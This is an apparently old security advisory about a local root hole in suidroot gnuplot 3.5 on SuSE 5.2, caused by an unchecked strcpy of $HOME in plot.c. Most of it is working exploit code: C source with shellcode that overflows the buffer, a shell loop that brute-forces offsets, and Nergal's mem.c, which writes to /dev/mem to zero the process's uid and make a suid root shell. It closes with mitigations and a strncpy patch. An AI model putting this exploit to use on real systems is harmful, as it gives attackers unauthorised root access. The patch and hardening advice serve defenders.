COMMAND
/usr/bin/gnuplot
SYSTEMS AFFECTED
Linux
PROBLEM
'xnec' found following. There is a local root comprimise in
/usr/bin/gnuplot version Linux version 3.5 (pre 3.6) patchlevel
beta 336. gnuplot is shipped to install suidroot on SuSE 5.2 and
maybe others. The exploit starts as a simple $HOME buffer
overflow, but much like zgv holes in the past, it drops root
privs before the overflow occurs. However, svgalib needs write
access to /dev/mem, and we can therefore regain root privs by
overwriting our uid. the offending code appears in plot.c where
we see:
char home[80];
...
char *tmp_home=getenv(HOME);
...
strcpy(home,tmp_home);
Exploit follows:
/*
gnuplot Linux x86 exploit from xnec
tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel beta 336/SuSE 5.2
gnuplot ships suidroot by default in SuSE 5.2, maybe others
gcc -o xnec_plot xnec_plot.c
./xnec_plot <bufsiz> <offset>
The buffer we're overflowing is only 80 bytes, so we're going to have to
get our settings just so. If you don't feel like typing in command line
offsets and bufsizes, make a little shell script:
---
#! /bin/bash
bufsiz=110
offset=0
while [ $offset -lt 500 ]; do
./xnec_plot $bufsiz $offset
offset=`expr $offset + 10`
done
---
since gnuplot drops root privs after it inits your svga, we can't just exec
/bin/sh, we'll need to use the technique of replacing our saved uid
in /dev/mem with '0', then execing whatever we please. We do this by compiling
Nergal's program, mem.c and putting the output file in /tmp/xp, as in
gcc -o /tmp/xp mem.c. Nergal's program will then make /tmp/sh suidroot,
so don't forget to cp /bin/sh /tmp/sh. You will also have to change
line 32 to the correct address of kstat, which can be obtained by doing
strings /proc/ksyms | grep kstat.
greets to #sk1llz, xnec on EFnet and DALnet
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 50
#define DEFAULT_BUFSIZ 110
#define NOP 0x90
#define DEFAULT_ADDR 0xbffff81c
/* Aleph One's shellcode, modified to run our own program */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xp";
unsigned long getsp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buf, *ret;
long *addrp, addr;
int bufsiz, offset;
int i;
bufsiz=DEFAULT_BUFSIZ;
offset=DEFAULT_OFFSET;
if (argc = 2) bufsiz = atoi(argv[1]);
if (argc = 3) offset = atoi(argv[2]);
buf=malloc(bufsiz);
addr = getsp() - offset;
printf("address: 0x%x\n", addr);
printf("bufsize: %d\n", bufsiz);
printf("offset : %d\n", offset);
ret = buf;
addrp = (long *) ret;
for (i = 0; i < bufsiz; i+=4)
*(addrp++) = addr;
memset(buf, NOP, (strlen(shellcode)/2));
ret = buf + ((bufsiz/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ret++) = shellcode[i];
buf[bufsiz - 1] = '\0';
memcpy(buf,"HOME=", 5);
setenv("HOME", buf, 1);
execvp("/usr/bin/gnuplot", NULL);
}
Nergal's mem.c:
/* by Nergal */
#define SEEK_SET 0
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid) /* is it our task_struct ? */
{
some_task.euid = 0;
some_task.fsuid = 0; /* needed for chown */
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/* from now on, there is no law beyond do what thou wilt */
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */
main () /* by doing strings /proc/ksyms |grep kstat */
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3; /* presumed to be opened /dev/mem */
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}
SOLUTION
Note that suidroot installation of gnuplot is done *only* if
SVGAlib is found at compile time, and actually used by gnuplot.
So, instead of explicitly disallowing suidroot, the *safe*
solution is to pass the '--without-linux-vga' option to
'configure' to disable use of SVGAlib, and that's that.
If you use SuSE and you care a _lot_ about local security you must
edit /etc/rc.config and set PERMISSION_SECURITY="paranoid". That
way gnuplot would _not_ be suidroot. See the contents of
/etc/permissions.paranoid (not by default install):
root@laser:/home/andrea# grep gnuplot /etc/permissions.paranoid
# WHY ON HELL was gnuplot suid root !!!!!
/usr/bin/gnuplot root.root 755
Using PERMISSION_SECURITY="secure" was just installing tvscreen
_not_ suidroot. Using PERMISSION_SECURITY="easy" (and note: you
are asked to set "easy" instead of "secure") is very riskious in
a envinronment that has to be secured, but you asked for that so
don't complain (e.g. about xtvscreen).
Running it under X11 doesn't require gnuplot to be suid root. If
you absolutely insist on suid, here's the patch:
--- plot.c.old Fri Mar 5 03:17:59 1999
+++ plot.c Fri Mar 5 03:29:19 1999
@@ -516,7 +516,7 @@
char c='\0';/* character that should be added, or \0, if none */
if(tmp_home) {
- strcpy(home,tmp_home);
+ strncpy(home,tmp_home,(sizeof(home) - 1));
if( strlen(home) ) p = &home[strlen(home)-1];
else p = home;
#if defined(MSDOS) || defined(ATARI) || defined( OS2 ) || defined(_Windows) ||
defined(DOS386)
SuSE 6.1. will address this issue.